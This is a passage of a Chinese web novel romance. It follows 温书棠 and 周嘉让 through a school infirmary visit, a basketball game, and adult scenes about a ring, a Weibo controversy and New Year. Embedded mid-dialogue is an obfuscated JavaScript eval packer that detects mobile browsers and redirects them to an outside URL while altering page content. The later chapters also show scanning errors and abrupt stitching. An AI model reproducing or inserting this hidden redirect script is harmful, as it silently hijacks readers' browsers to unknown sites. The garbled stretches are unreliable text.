最近天气不正常,来拿药的人比平时多了几倍,两人靠着长椅等了好一会儿,医生才过来询问她们是什么情况。 “怎么了?哪儿不舒服?” 温书棠没力气说话,谢欢意替她简单描述了下症状,医生听完,了然地点点头:“这波病毒确实挺厉害的,好多人都中招了,不过也不用太紧张,挂几天水,回去按时吃药就行。” “平时也要多注意休息,身体是自己的,别仗着年纪小就胡来。” 挂好点滴,温书棠被安排到靠墙的位置,她仰头看了看输液瓶,声音虚得像棉花:“医生,我大概要打多久啊?” “给你开了三瓶药,怎么说也得两个小时。”医生低头写好病历,又帮她把速度调慢一点,“一会这瓶打完了,你直接喊我来换药就行。” “好的,谢谢。” 谢欢意接来一杯热水,又往她手里塞了颗糖:“奖励这位勇敢的小朋友,打针不哭也不闹。” 温书棠被她逗笑,捧起水杯小口喝着,睫毛被氤氲出一层白雾,干涸的唇瓣也得到滋润。 半杯水喝完,她忽然想到什么,侧头看了眼墙上的时钟,下节课已经开始了,轻抿了下唇线说:“欢意,要不你先回班吧,我这还要好久呢。” 她向来是那种不喜欢麻烦别人的性格:“我自己在这就好,有什么事可以叫医生的。” “没事啦。”谢欢意清楚她的想法,拉开棕色木椅坐下,“反正回去也是上自习,我一个人怪没意思的,还不如留下来陪你呢。” 她笑着眨眨眼睛,在温书棠脸上捏了下:“和我那么客气干嘛呀。” 在学校的大部分时间,温书棠神经都紧绷着,好不容易松懈下来,她阖着眼,不知不觉睡着了。 再有意识,是一个多小时后,医生过来换药瓶,不小心扯动了软管,她迷迷糊糊地睁开眼睛。 “棠棠你醒啦?”谢欢意在她额前探了探,温度没那么烫了,“感觉好点了吗?” 温书棠撑着床沿坐起来,抬手理了下被睡乱的头发,嗓音还是软软的:“好多啦。” “宝贝你饿不饿?”谢欢意拆了根棒棒糖,咬进嘴里问她,“现在都到晚饭时间了,我去买点吃的吧。” 想到她还生着病,不能吃太油腻的:“素什锦加烤鸭包,再配一份美龄粥,怎么样?” 温书棠对这些都不太挑剔,点头应了句好。 这会儿外面难得放晴,透过玻璃窗,阳光斜斜落在手背上,细小的绒毛被镀上一层金光。 温书棠偏头朝外看。 秋天可以说是一日一新,教学楼前的林荫路,上周还是油绿一片,几场雨落下,梧桐叶就泛起了枯黄。 床边摊着本言情杂志,是谢欢意从班里带过来的,上周发行的最新一期,她跑了几家书店才买到。 温书棠随手翻了几页,她平时很少看这些,此刻却像打开了新世界的大门,字里行间的爱恨纠葛叫她挪不开眼。 读到第三篇,讲的是一场长达十年却无疾而终的暗恋。 故事结尾,女孩去了他的婚礼,看着昔日那个默默追寻过无数次的少年站在高台之上,牵着新娘的手,在人群面前许下共度余生的愿望。 敬酒环节,她笑着对他说,新婚快乐。 也许是感同身受,眼角酿出些许湿意,温书棠用指腹摁了摁,正准备看下一篇,隔壁病床的闲聊声钻进耳朵。 “诶我这是不是要打完了,你快帮我把医生叫来拔针。” “哎呀你急什么,能不能有点病号该有的样子。” “怎么可能不急,一会儿篮球赛结束了怎么办,我还没看过周嘉让打篮球呢。” “瞧你这点出息,打球有什么好看的。” “是是是,你最有骨气,那你一会儿别看啊。” …… 捏着书页的指尖微顿,温书棠怔愣片刻,思考是不是自己出现了幻觉。 她们刚才说什么? 篮球赛和周嘉让? “宝贝,我回来啦。” 思绪被打断,谢欢意的声音从身侧传来。 她从医生那里借来桌子,一边拆外卖一边抱怨:“运气好差,烤鸭包都卖完了,只能换成桂花糕了。” 温书棠牵起嘴角,笑着安慰:“没关系,他们家桂花糕也蛮好吃的。” 因为那两个女生的话,她心思格外涣散,连喝粥的动作都变得慢慢吞吞。 脸颊被人戳了下,谢欢意察觉到她在走神:“想什么呢棠棠?” “又有哪里不舒服了吗?” 温书棠摇摇头:“没有。” 饭吃到一半,谢欢意觉得无聊,从口袋里拿出手机,习惯性地登上校园贴吧。 往下刷了几条,她倏得蹦出一句惊讶:“嗯?今天咱班和二班有篮球赛啊。” 捕捉到关键词,温书棠眼睫一颤,压下心中的急切,努力让语气保持平稳:“篮球赛?” “喏,你看。” 谢欢意把手机递给她,帖子里是一段七秒钟的视频,拍摄人应该站得很远,画面不太平稳,甚至有些凌乱。 可在这重重人影中,周嘉让还是尤为显眼。 他穿着宽松的白色球服,背后依旧是数字九,因为刚运动过,冷白的皮肤稍稍泛红,手臂线条流畅,肌肉贲发又不会过分夸张。 额发被汗水打湿,他抬手捋了一把,衣角被风鼓起,隐约露出一小截紧实的腰腹。 棕褐色的球从□□运过,周嘉让站在三分线外,目光扫过前方,敏捷向上一跃—— “哐当。” 空中划出一道完美的抛物线,篮球精准入筐。 场下欢呼四起,此起彼伏的掌声中,有人干脆高声喊起他的名字。 “怪不得刚刚那么多人都往篮球场跑呢。”谢欢意有被这场面夸张到,撇嘴啧啧两声,“原来都是去看周嘉让的。” “不过真是太阳从西边出来了,他这次居然上场了。” 捏着勺子的手收紧,温书棠小声试探:“他…平时很少参加活动吗?” “是啊。”谢欢意仔细回想了下,“从高一到现在,也就那次联合运动会,他不知道吃错什么药主动报名了,剩下的任何活动,谁请他都请不动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13798394|145968||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 温书棠低低地接了声哦。 指尖不知不觉掐进掌心,留下一道道月牙形弯印,心脏像被泡进柠檬水里,酸酸涨涨,还带着几丝涩苦。 为什么偏偏是今天忘记带伞。 如果没有淋雨,她就不会生病,不会闷在医务室里打针,更不会错过这场宝贵的篮球赛。 这一连串的蝴蝶效应,说到底,是命运的捉弄,更是她差一点运气。 谢欢意还在逛贴吧,划屏幕的动作停了下:“诶?这还有人开了个投票楼,在猜最后哪边能赢呢。” “棠棠。”她弯起眼,灵动一笑,“你觉得谁能赢呀?” “我觉得…” 她下意识要说出那个名字,但在呼之欲出的前一秒,又被理智猛然拉住。 眼中闪过一丝慌乱,她咬住下唇,表情不大自然:“我也不…” “知道”二字没说出口,谢欢意先给出她的答案:“我猜周嘉让他们能赢。” “虽然我现在在七班,按理说应该对自己人有信心。”她鼓着腮帮,话语顿了顿,“但周嘉让确实挺厉害的,初中那阵还被省队挑中过,年级里没几个人能打得过他。” 温书棠没接话,却在心里悄悄为他加油。 最后一瓶药吊完,她精神恢复不少,和谢欢意一起回班。 刚拐上三楼,没等走近,远远便听见一阵嬉闹声,距离晚自习没剩多久了,班里的气氛却依然躁动。 推开后门,七扭八歪的课桌上,清一色地放着一个奶茶纸袋。 谢欢意尾音扬起,觉得奇怪:“嗯?这些奶茶都是哪来的啊?今天班里有人请客吗?” “什么请客,那是小爷我赢来的。”程哲拎着校服进来,抬抬眉梢,语调颇有炫耀的意味,“怎么样,厉害吧。” “你…赢来的?” 谢欢意反应了会儿才明白他在说什么,眼瞳不自觉瞪大,半信半疑地反问:“篮球赛你们赢了?” “诶你这什么语气。” 程哲把校服扔到一边,大剌剌在椅子上坐下:“不相信啊?当时班长他们也在场,不信你去问问。” “不是我说啊谢欢意,知道你和许亦泽他们关系好。”他翘着二郎腿,怪腔怪调地叹了口气,“但这胳膊肘也不能总往外拐——” 眼见他没完没了地絮叨起来,谢欢意连忙打断:“没没没,我可没这个意思。” 她脸上挤出假笑,朝他竖起大拇指:“厉害厉害。” “所以这些奶茶。”谢欢意把话题扯回来,“都是周嘉让他们买的?” “对啊,他们自己选的赌注,输了就请咱们全班喝奶茶。” 程哲继续讲回球赛,说自己在最后四十秒力挽狂澜,接连拿下两个三分,又说对面特别不在状态,连续出现好几次失误。 谢欢意听不下去,挽着温书棠往座位走,低声在她耳边吐槽:“我觉得他一定是在吹牛。” 温书棠暗暗给她点了个赞同。 “不过呢。”她很快又变了口气,扬唇笑得俏皮,“有奶茶喝还是很不错的。” 一路从医务室走回来,这会儿着实感觉口渴,谢欢意打开包装,发现自己分到的是杯荔枝柠檬茶。 她不怎么喜欢这个,总觉得没什么滋味,就想找个人换一下。 “棠棠,你那杯是什么啊?” 温书棠啊了下:“我看看。” 拿过桌角的纸袋,她没太多想地拆开,看清里面盛着的东西后,指尖没由得一顿。 泡沫纸裹着一杯冰糖枇杷炖雪梨,旁边是一盒感冒药,还有一把黑色雨伞。 温书棠还没搞清这是怎么一回事,放在书桌里的手机忽然震动。 心一惊,她划开通知栏—— 窗外那棵香樟树上有麻雀掠过,清音幽韵间,拂起几片落叶。 屏幕上倒映的树影跟着晃动,明暗摇曳交替,定格在最后那句,是让她心悸的原因。 【1205Y:收到了吗?】 91、思任 ,夜色静谧,如溪水般潺潺铺进房间。折腾了一通,又聊了这么久的天,温书棠是真的累了,缩在被子里睡得很沉,周嘉让却睡不着,伸手将人搂进怀里,掌心轻轻贴着她的发,闻着她身上干净温暖的气味.怕会晃醒她,他只留了一盏小壁灯,昏暗晕沉的光线里,他眼前都是他们初遇的画面。雾蒙蒙的天,淅淅沥沥的雨,狭窄逼仄的屋檐还有她递来的糖和创可贴。如果说, 那天意外出现的彩虹,带给他让外婆清醒的好运。那么她又何尝不是闯入他晦暗人生中的一道彩虹呢?就像她说的那样,人一生中的好运和厄运是守恒的。遇见她之前,他浑浑噩噩,放任堕落,试图逃避现实换来解脱。遇见她之后,如寒夜散尽,云开月明,世界逐渐有了鲜活的颜色。往事飘远,那张稚嫩乖软的面孔与怀中人重合。纤密的眼睫低垂,周嘉让安静看着她的睡颜,从秀气的眉毛,到轻阖的双眼,到小巧的鼻子,再到莹润的嘴唇.因为是侧躺,脸颊上的软肉被挤到一侧,几缕头发不听话地散下,半挡着落在耳边。大概是感受到他的体温,她像黏人的小猫那样,主动往他身边蹭了蹭。眼尾漾开弧度,唇角无声勾起。这一切,美好得简直像一场梦。场他期待了十年的美梦。他低下头,在她额前落下一个吻,无声用口型对她说。“晚安,宝贝。 翌日清晨,阳光自窗帘缝隙中挤进,闹钟铃声按时起,不到半秒就被人摁掉周嘉让慢慢掀开被子,想先去厨房准备早饭,他动作很轻,可温书还是醒了。翻过身,她抬手环住他的腰,声音发黏地拖着:“几点了?"“还早。”周嘉让把人塞回被窝里,掌心安抚地蹭蹭她的脸,“再睡会。"温书棠哦了声,手上力气却没松开,周嘉让干脆也窝回去,陪着她又赖了会儿。再睁开眼时,外面日光似乎更烈了些。周嘉让正倚在床边处理邮件,察觉到她那边的动静,立马放下手中的笔记本,将提前准备好的温水送到她嘴边。温书棠想自己来,可刚抬起胳膊,一股异常的酸痛便顺着神经延开来。她脸上藏不住事,周嘉让瞧着她僵硬的表情,竭力忍着笑,明知故问:“怎么了宝贝?想到昨晚发生的种种,温书崇才不想理他,咕咚几口把水喝完,别开眼,只留给他一个饱满的后脑勺。周嘉让又笑,好脾气地揉揉她头发,语调懒散地调侃:“怎么?睡完就不认账啊。”倒打一耙,温书棠警告地瞪他一眼:“你不要再说话了。周嘉让看似顺从地点头,话语却还在继续:“好霸道哦。换衣服时,温书棠发现自己无名指上多了枚戒指。是那种常见的素圈,上面嵌着两枚小小的钻,尺寸恰好贴合她的手指盯着看了几秒,她恍然反应过来什么,茫然地睁大眼睛,偏头去看周嘉让。周嘉让帮她把衬衫穿好,一颗颗地扣好纽扣,然后才慢吞吞开口:“干嘛这么看我。”温书棠朝他晃显手背:“这不是你手上的戒指吗?"“是啊。”周嘉让顺势拉起她的手,细长纤瘦的指节,被银戒衬得很漂亮,他用指腹摩梭了下,低声吐出四个字,“物归原主。温书棠越听越懵:“物归原主?"周嘉让被她这副模样可爱到,弯下腰,与她视线平齐:“本来就是给你买的啊。"温书棠愣愣啊了声,好半天才勉强回神。想起自己曾经的误解,她不好意思地蹭蹭鼻尖,底气不足地嚅动唇瓣:“我还以为“还以为我有别人了是吧。"周嘉让接上她的话,眼眸中多了几分无奈:“就这么不信任我啊。"温书棠眨眨眼,凑过去在他唇边亲了亲,乖乖认错:“对不起,我错了嘛。周嘉让哪舍得真和她生气,捏着她下巴将这个吻加深,直到快喘不上气才把人松开。“行吧。”舒展的眉眼里带着餍足,他得了便宜还卖乖,“那就原谅我们恬恬吧。 钻面反着细碎的光,温书棠目光定住,怎么都移不开眼 “喜欢吗?”周嘉让把人抱起来放到腿上。她用力点头,琥珀色瞳孔中是肉眼可见的欣喜:“喜欢。"“所以——”温书棠没由得好奇,“这是你什么时候买的呀?"周嘉让下巴搭在她颈窝里,感受着她颈侧血管的跳动:“我十八岁生日那天。" 十八岁生日。 也就是他们分开的第三个月。 居然这么早吗。 温书棠稍有怔愣,思绪卡顿两秒才问:“为什么是那天?”周嘉让摇摇头,略硬的发丝蹭在她耳廓上,喉间溢出一声哑笑:“我也不知道。其实那天和平时没什么不同,如果不是手机软件上跳出的提醒,他甚至不记得是自己的生日。结束兼职后,从快餐店里出来,时间已经接近深夜了。大部分店铺都打了烊,街头空荡荡一片,但那家珠宝店却意外还开着。驻足片刻后,周嘉让推门进去。冷气迎面扑来,拂开整日劳累后的黏腻。见他衣着普通,年岁也不大,不像能负担起什么的样子,Sale态度很是敷衍,没想到他却买下了店里最贵的那款填写单据时,扫到生日那栏,Sale随口猜测:“是想在生日和女朋友求婚吗?"神情顿时僵住,好半天他才扬起一抹苦笑:“是吧。" Sale一改先前的冷淡,笑意盈盈:“那祝你成功哦。"距离零点只剩五分钟,周嘉让付过款转身离开。天空中有飞机驶过,划开很淡一抹尾迹,他抬头望向远方,试图穿透万里,瞧见另一个国度的阴晴.“恬恬。”睫毛稍颤,他语气极轻,“你还在记恨我吗。”嘴角晕开一抹苦涩,他将戒指紧紧在手心,恨不得融进血肉,似乎是在缓解什么:“可我好想你。”从回忆中抽离而出,周嘉让抱她抱得更紧了些,侧头在她耳根那又亲了下:“先戴这个。"“等过段时间,用别的和你换。"温书棠一时没跟上他的思路:“换什么?"周嘉让却故弄玄虚:“到时候就知道了。” 终于磨蹭着去洗漱,但也不知怎么回事,方才明明都清醒了,这阵隐隐又生出些困意。 瞧她眼神呆呆的,睫毛挣扎着想和眼睑分开,周嘉让圈住她脖颈,让人靠在自己身上:“又困了?" 温书棠吐掉嘴里的泡沫,用毛巾把脸擦干,苦着一张脸抱怨:“人到底为什么要早起上班啊。" 胸腔传来震动,周嘉让闷闷笑了两下,食指把玩着她的发尾:“这个好解决。"本以为他会贴心反思自己的放纵,让她下次能早点睡,谁知却听见他不紧不慢地说:“来我公司吧宝贝,刚好挚书缺个会法语的秘书。眉梢微挑,他开出诱人条件:“待遇优渥,老板专车接送,想睡到几点就睡到几点。 跟被吓精神了似的,温书棠连忙直起身,双手在胸前比了个大人的又,义正言辞:“不要!我拒绝职场潜规则!"“宝贝。”周嘉让耷着眼,摆出一副受伤姿态,“难道我在你心里就是这种形象吗?"温书棠没回答,可眼神却很诚实地出卖了心思。 上午一直在忙着开会,直到午休时才腾出时间看手机,列表里堆着好多消息,无一例外是在问热搜的事, 温书棠登上微博,一夜时间过去,她那条图文的浏览和转发量都高得惊人。 而网友们的风向也渐渐发生了改变,不少九中的同学纷纷站出来替周嘉让说话,甚至还有挚书员工和他在国外留学时的校友 【1L:不是,到底是谁在质疑我们漓江的状元?不知道漓江的考试难度向来是地狱级别的吗?】【2L:至今仍然记得,有一次侥幸和大神同一考场,我第一页还没做完呢,人家就交卷走人了,那叫一个潇洒】【3L:哦对,最后他还拿了满分/死亡微笑.JPG】【4L:我是他上一届的,当时我们高考动员大会,他作为学生代表上台演讲,虽然听起来很扯,但我是真的有被他鼓励到,最后三个月学得特别拼命,高考擦线上了重本。】 [108L:作为挚书的初代员工,我也算是看着公司一步步走到今天的,周总他真的很好,刚开始那几年,不管什么事他都亲力亲为,出了问题也是挡在我们前面,】【213L:员工+1,而且悄悄说,挚书是我见过给女员工福利最好的公司,各种假期比别人长不说,周总还从不让我们进酒局应酬!【214L:是的是的!上次我家小孩在学校里受了伤,会开到一半不得不请假,周总知道后还专门让助理送我过去呢。】温书棠本想继续往下翻,可就在这时,状态栏弹出一条新的推送,是斯坦福大学校友会发布的声明。 【近期,我校校友周嘉让的学历真实性受到广泛争议,为维护校友台法权益,现郑重声明如下系我校计算机科学专业学生,于2016年入学,2021年毕业,1际利取得硕士口0,在校期间,该生道守学校规章制度,按时完成各项学业要求,我校对所颁发。0的真实性和有效性负责,相关学籍及毕业信息可通过正规果道进行查询验证我们坚决反对任何未经核实的无端猜测与不实言论,对于恶意造谣、诚段我校校友声誉的行为,将保留追究其法律责任的权利,希望广大校友和社会各界人土尊重事实,共同维护良好的网络环境和校友声誉。斯坦福大学校友会】 此澄清一出,舆论局势彻底扭转。 【我就说嘛,上个月我妈住院做手术,用的就是挚书研发出的技术。】【好无语,无良营销号能不能滚出互联网啊……】 温书棠靠在椅背上,长长呼出一口气。压在心里那块无形的石头总算消失了。想着这下应该能翻篇了,可不知是从哪起的头,网友们关心的话题,莫名又变成有关她暗恋的后续。【天哪,暗恋过的人实在太有共鸡了,我那时也经常偷偷收集关于他的一切东西,就连他随手在班发的,我都要把糖纸夹在书里保存下来唉,只可惜他喜欢的人不是我,更别说有什么进一步的接触了。】【没人觉得小姐姐也很棒吗!不仅敢这么公开发声,还愿意为了喜欢的人不断提升自己,好勇敢好让人佩服!】【就是啊!!而且能十年如一日地喜欢着同一个人,我连一年都坚持不下去)【@My小姐姐,你们现在在一起了吗?】【肯定在一起了吧,不是说事发后他还在安慰她的情绪吗。】 温书棠霎时有些无措,不知道该怎么回应这些。 忽然,嗡一声震动。 微博消息栏多出一条提醒。 【Quatre jours.评论并转发了你的微博。】 看见这个熟悉的昵称,温书崇不由得呼吸一室。 这不是那个关注她许久的奇怪网友吗? 心脏重重跳了一下,温书棠点进他的个人主页,映入眼帘是她前日发的微博,上面配文只有一句话。 【谢谢我亲爱的女朋友,我永远爱你。】 再刷新,信息栏里更新了他的身份认证 挚书科技,周嘉让。 某些疑惑也在这一刻揭开谜底。 Quatre jours. 四天。 思恬。 92、福签 盯着这个昵称,视线略有失焦,犹如老电影一般,脑海中自动回映着某些场景。 他默默点过的赞,发出又撤回的消息,那次旅游被困在半路,他满身风雪地及时赶来. 记忆闸门被开启,追溯到更远之前,是大三保研那阵,她整天忙得焦头烂额,一边想办法联系导师,提交各种证明材料,一边还要准备繁重的期未考试 生活上的烦心事多,天气也跟着不尽人意,那段时间京北总是雾蒙蒙的,空气中浸着潮湿寒凉的水汽。 某天下午, 复习完那本厚厚的语法书, 捏捏酸痛的肩颈,温书棠从窗前抬起头。 望着漫无边际的灰暗,她恹恹叹了口气,撑着下巴发微博抱怨。 【My:好想见见太阳啊,感觉自己要发霉了。】 晚上从图书馆回去,洗过澡后再拿起手机,她发现半小时前,有人在这条内容下留言 没有文字,只有一张日出时分的图片 画面被暖色光芒笼罩着,朝霞白从地平线处升起,似一团烧得正旺的火焰,四周云层被勾勒出淡淡的金边。 和湛蓝天空交衬在一起,好似一副如梦如幻的油画,哪怕是屏幕外的人,都能身临其境地感受到那种蓬勃向上的生命力。 看着这张照片,嘴角不自觉弯起,紧绷的身体渐渐放松,整日的疲惫也随之消散, 她坐在靠椅上,抱着膝盖打字:【好漂亮啊,我能保存下来吗。】 【Quatre jours.:可以。】 【My:谢谢你呀,拍得很棒。】 【Quatre jours.:不客气。】 一切的一切,原来都有迹可循。 只不过是她太粗心了。 这么多年,她本以为他们是两条不相交的平行线,不见不扰,在各自的轨迹上默默前行。 直至这一刻,她才迟钝地明白过来。 他一直在用白己的方式,悄无声息地关心着她的动态。 胡思乱想的功夫里,屏幕一点点暗了下去,温书棠重新解锁,压下眼帘,消息栏那里冒出好多小红点,都在感慨周嘉让的那条回应。 【嘿嘿嘿这次磕到真的了!】 【呜呜恭喜小姐姐暗恋成真。】 【经历了这么多,一定要永远幸福下去啊!!】 温书棠刚想回复谢谢,谢欢意的电话却在这时打了进来。 “你们俩可以啊。"她跟了一天一夜的大戏,嗓子熬得发干,听起来哑哑的,言语中带着打趣的意味,“这官宣方式够高调的了。" 温书棠握着手机,另一只手缠在衣角上,腮颊微鼓,被她说得不好意思:“欢意。" 谢欢意忍不住闷笑,没再臊她,语调一转:“不过说句实话,当时看见你发的那些,我都惊了好大一跳。” “你就不怕那些不理智的疯子跟过来骂你啊。 温书棠蹭蹭鼻尖,声音不大,却很坚定:“骂就骂吧,反正关上手机就看不到了,对我又没什么实质性的伤害。 "你啊。" 谢欢意叹了口气:“傻死了。 温书棠不服气地反驳:“我哪有。 那天周嘉让被骂,她难过到在家掉眼泪,还气不过地和他们理论,现在换到自己身上,反而轻飘飘地不在意了。 这还不够傻么。 “怎么样,周嘉让是不是特别感动啊。”谢欢意啧啧两下,“他能遇见你啊 她发自内心地感慨:“真是赚大了。 等挂断电话,页面回到微博上,祝福还在接连不断地往外弹。 其中一条,引起了新一轮的话题讨论。 【诶诶,我好像有了个惊喜发现,挚书的企业logo上有一个beloved,难道说——】 【挚书的挚,其实是挚爱的挚^^】 【啊?不会吧?这有点过度解读了吧?】 【谢邀,知情人现身说法来了,高中和他们同一个学校读的,我们女主角的名字里确实有一个书字。】 【??我靠,我要收回上面那句话。】 【啊啊啊救命!!好浪漫!他超爱!!】 【这也太会了吧连公司名字都在表白。】 捏在边侧的手收紧,温书棠瞳孔霎时怔住。 屏幕被流水般的评论湮没,闪得人眼花缭乱,思绪却停滞,像被人缠上一团粗麻,越理越乱,找不到头绪在哪 会不会只是个巧合啊! 她自己都没法说服自己 牙齿咬住唇肉,疑惑像气泡那样慢慢膨胀,温书棠蹙眉思考了好久,最后还是被手心传来的声响唤回神 【黏人精:干嘛呢宝贝?】 这备注是他昨晚自己动手改的,温书棠还没完全看习惯,顿了整整半分钟才点开。 暮晖正浓,窗外阳光有些刺眼,她起身拉下百叶窗,然后才解开手机回复:【没干嘛,就是在看微博。】 【My:你呢?】 【黏人精:刚开了场会,等审完手里的文件就去接你。】 【黏人精:晚上有什么想吃的吗?】 温书棠没回答,脑袋里都是刚才纠结的问题,思来想去,实在想知道他的答案。 她把相关评论的截图发过去,删删改改在键盘上敲了好多次,横下心发送:【是这个意思吗?】 周嘉让回得很快:【看来下次我得做的再直白点。】 再直白点? 温书棠没懂,回他一个小猫苦恼的表情 【黏人精:不然呢?还能是什么啊?】 【黏人精:要不直接改成书棠科技?恬恬科技?】 【黏人精:我都听你的。】 耳根隐隐腾起热度,温书棠嘴上嫌他又调侃自己,心脏却像被戳破一个小口,细细密密地渗出甘甜。 等到下班时间,温书棠比平时任何一次走得都快。 挤出电梯,恰好碰上从另一侧出来的陈言之,但她也只是匆匆打了个招呼,神色不停向外张望:"学长,我还有事,就先走啦。 陈言之舒眉笑笑,温和提醒:“路上注意安全。” “好,学长你也是。 女孩的话语随风消散,陈言之却站在原地没有动作。 透过门前那块光洁清明的玻璃,他看着她一路小跑,裙角飞扬,似空中绽开的花器;看着她张开双管,歪头扑进那个人的怀抱里;看着她踮起脚,凑过去烙下一枚吻,脸颊染上胭脂般的绯红羞意。 看着她笑,唇畔浮现出两个清浅的梨涡。 这是他从未见过的她。 高跟鞋踏过地面,紧随其后是一道清冷的女声:“言之?" 来人叫虞嫣,是他大学时的同窗,也是他在市场部的搭档。 两人私交甚好,虞嫣对他的心思很清楚,目睹完楼前那幕,她侧眸略有意外:“如果我没看错的话,那个女生——?’ 喉结轻滚,陈言之应了声嗯。 眼底刺进微光,他想起方才看见的,她无名指上戴的那枚银戒。 天色渐晚,地上人影被拉长,陈言之身形笔挺,衣着利落,一如与她初见那天,烈日骄阳下,他帮她提着行李,指引她找到通往宿舍的路 望着那辆车消失在街角尽头,他迟缓地收回目光,唇边划开很淡一抹笑:“没什么。" “我从来都不是她想要的。 茫茫世问里,有人得偿所愿,有人黯然退场。 追根溯源,不过是造化弄人。 在不在一起又有什么关系呢? 从喜欢她那天开始,她能幸福,就是他的唯一所愿。 既然他做不到,那么有人替他实现也好。 车内开着暖风,温书棠坐在副驾驶上,手里抱着一份剥好壳的糖炒栗子。刚出锅不久,袋子里都是热气,香甜软糯的口感在嘴巴里散开,她侧着身子,眼神一眨不眨地放在周嘉让身上。“宝贝。”周嘉让眉梢微挑,唇角勾着懒散的笑,“再看下去,我就没法开车了。”温书棠哦了下,慢慢吞吞地把眼睛挪开等开回地下车库,周嘉让牵着她上楼,进了家门,温书棠像小尾巴一样跟在他身后。放下外套,周嘉让转过身,捞起她垂在两侧的手,一下又一下地捏着她的指尖:“今天怎么这么黏人。"温书棠上前半步,靠在他怀里仰起头:“你之前怎么都不告诉我?"周嘉让折眉不解:“告诉你什么?"“就微博啊。”温书棠睁大眼睛,睫毛浓密又卷翘,蒲扇似的来回眨动,“你偷偷关注我那么久,怎么从来都没和我说过话。’听见她的问题,眸光有一刹那的闪避。呼吸交织,手上磨人的小动作停了,下颌微微敛着,周嘉让语速慢了许多:“因为我害怕。害怕? 温书崇鲜少在他口中听到这个词。 怕惹她心烦,怕被她拉黑,怕仅存能偷看她的方式也被斩 “才不会呢。”鼻腔涌入一股酸涩,像被灌了高浓度的柠檬水,温书棠抱住他的腰,侧颊紧紧贴上胸口,听着他清晰的心跳,每一次起伏都是爱的责发,“最喜欢你了。 周嘉让揉揉她脑袋,低头在她额前落下轻吻: “我也是。 所有风波过去后,日子总算恢复平静。 眨眼间就到了新年,他们俩没回漓江,就窝在京北的小家里。 温书棠买了好多窗花,一大清早就拉着周嘉让布置。 “这样可以吗?”他举着春联回头问。 温书棠撤远几步,抬手指挥:“还要再往右一点。" 用胶带严丝合缝地贴好,房间里被映成喜气的红色,周嘉让圈着脖子把人勾到怀里,偏头亲了亲她的梨涡:“还是恬话眼光好,选的春联都这么好看。 温书棠红着脸推开他:“你又乱说。" 年夜饭是周嘉让准备的,弄了好多新奇又漂亮的菜品,只可惜他们食量都不大,连一半都没有吃完。 京北不禁烟花,外头陆陆续续传来炮竹声,电视机里在放春晚,温书赖在他身上,喝着他刚煮好的赤豆元宵。 搁在一旁的手机嗡嗡震动,谢欢意重新拉了个四人小群,邀请他们俩进房打麻将。 【学习新思想:棠棠快来。】 【争做新青年:四缺二,很急!】 【My:】 【My:你们俩这个昵称?】 【学习新思想:怎么样,是不是特别有创意!】 【学习新思想:哎呀先别说这个了,速速进房。】 【My:可是我不会打麻将啊。】 【学习新思想:没事,让周嘉让教你,打几局就会了。】 【学习新思想 而且还有新手保护期的加持!】 【学习新思想:来嘛来嘛,不打牌的除夕夜是不完整的。】 温书棠把消息递到他面前:“要玩吗?" 春晚着实太无聊,周嘉让也没什么兴趣看,搂着她点了点头:“好啊。” 四人选好准备,系统正在随机洗牌,许亦泽欠欠打开语音:“提前说好啊,结算输最多的人,一会在群里发红包给大家助兴。’ 半小时过去后。 【争做新青年:靠。我不玩了。】 【争做新青年:棠妹你不是说你不会吗??怎么把把清一色?】 【争做新青年:还有,周嘉让你是不是故意放水?怎么一直给她喂牌?】 【争做新青年:欢欢,就连你都胳膊肘向外拐!】 【争做新青年:到底有没有天理了!怎么都欺负我!】 【lris.:哪来这么多废话,你怎么不说你自己太菜。】 【学习新思想:就是,愿赌服输,快发红包。】 许亦泽哼哼唧唧的,一边控诉一边往群里发红包。 但这还不算完,就连抢红包他都是手气垫底,两百块的包,只能抢到可怜巴巴的一块三, 【学习新思想:来啊来啊继续啊。】 【学习新思想:许亦泽你人呢,准备啊。】 【争做新青年:…….对不起,您的好友已下线。】 快到零点的时候,整个天幕几乎都被接连不断的焰火映亮。 广袤浩瀚的绚烂中,有星星点点的银白飘下,似坠入凡间的纤羽精灵。 又一场雪降临了。 温书棠伏在窗边,双手垫着下巴,没由得想起来,高二那次跨年夜,长江路的天桥上,他们也是这样,共同见证了新年的第一场雪。 此时此刻,仿若是情景再现。 “恬恬。” 低沉嗓音倏忽在耳边响起。 温书棠循声侧过头。 最璀璨的那束烟花在远处绽开,她眼眸无意识颤了颤,四目相对,周嘉让握住她的下巴,倾身吻了过来, 唇瓣贴合,炽热的气息紧密纠缠,眸中腾起水雾似的氤氲,体温融化在他宽厚的胸膛中。 夜幕勾勒出两道贴合的身影,万家灯火里,这个吻缱绻又绵长, 尚未平复的低喘里,周嘉让扶住她后颈,轻轻抵住她莹润的额头,声线中翻涌着沙哑:“宝贝,你知道吗。 “分开这些年,每次碰到雪天,我都会许下和那年相同的心愿。 睫羽被镀上细碎的光,眼前人逐渐与记忆中的少年重合 一阿让,新年你有什么愿望吗。 我想和你一直在一起。 周嘉让揽她入怀, 下颚蹭在她柔软的发顶上,心底那块空了很久的缺陷被填满:“终于实现了。 熬过漫长的凛冬,时间也像被按下加速键。 街边树木抽出新枝,风中翻滚着恬淡的花香,碎金般的日光从叶隙间泻出,在石板路上晃出斑驳的光影 Transline迎来业务高峰期,每周基本都要出两次外务,Chloé还把带新实习生的任务交给了她,温书棠每天都忙得分身乏术, 周嘉让比她还忙,热搜风波结束后,挚书名声人噪,在行业内的地位进一步提升,不少公司都抛来寻求合作的橄榄枝。 他们在外独当一面,坚不可摧地迎接风浪,晚上回到家里,又瞬间褪去那层伪装的壳。 他们相互依偎,相互取暖,好似冬日暖阳,驱散彼此心间的阴霾,也似海上港湾,慰藉对方周身的疲惫 下午开完复盘会,温书崇到文创室打印文件,在拐弯处撞见正要下楼的陈言之。 见他身前抱着收纳箱,她眼中顿时划过错愕: “学长,你这是 “公司打算在巴黎设立分部。”陈言之垂眸,凝着她柔和的面孔,“我申请了派遣。” 